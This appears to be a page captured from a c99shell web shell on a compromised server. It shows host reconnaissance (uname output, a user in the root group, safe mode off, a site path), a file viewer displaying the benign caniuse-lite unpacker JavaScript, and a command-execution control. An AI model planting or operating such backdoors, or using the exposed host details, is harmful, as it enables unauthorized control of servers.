Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/caniuse-lite/dist/unpacker/ drwxr-xr-x |
Viewing file: Select action/file-type: 'use strict' const statuses = require('../lib/statuses') const supported = require('../lib/supported') const browsers = require('./browsers').browsers const versions = require('./browserVersions').browserVersions const MATH2LOG = Math.log(2) function unpackSupport(cipher) { // bit flags let stats = Object.keys(supported).reduce((list, support) => { if (cipher & supported[support]) list.push(support) return list }, []) // notes let notes = cipher >> 7 let notesArray = [] while (notes) { let note = Math.floor(Math.log(notes) / MATH2LOG) + 1 notesArray.unshift(`#${note}`) notes -= Math.pow(2, note - 1) } return stats.concat(notesArray).join(' ') } function unpackFeature(packed) { let unpacked = { status: statuses[packed.B], title: packed.C } unpacked.stats = Object.keys(packed.A).reduce((browserStats, key) => { let browser = packed.A[key] browserStats[browsers[key]] = Object.keys(browser).reduce( (stats, support) => { let packedVersions = browser[support].split(' ') let unpacked2 = unpackSupport(support) packedVersions.forEach(v => (stats[versions[v]] = unpacked2)) return stats }, {} ) return browserStats }, {}) return unpacked } module.exports = unpackFeature module.exports.default = unpackFeature |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]-- |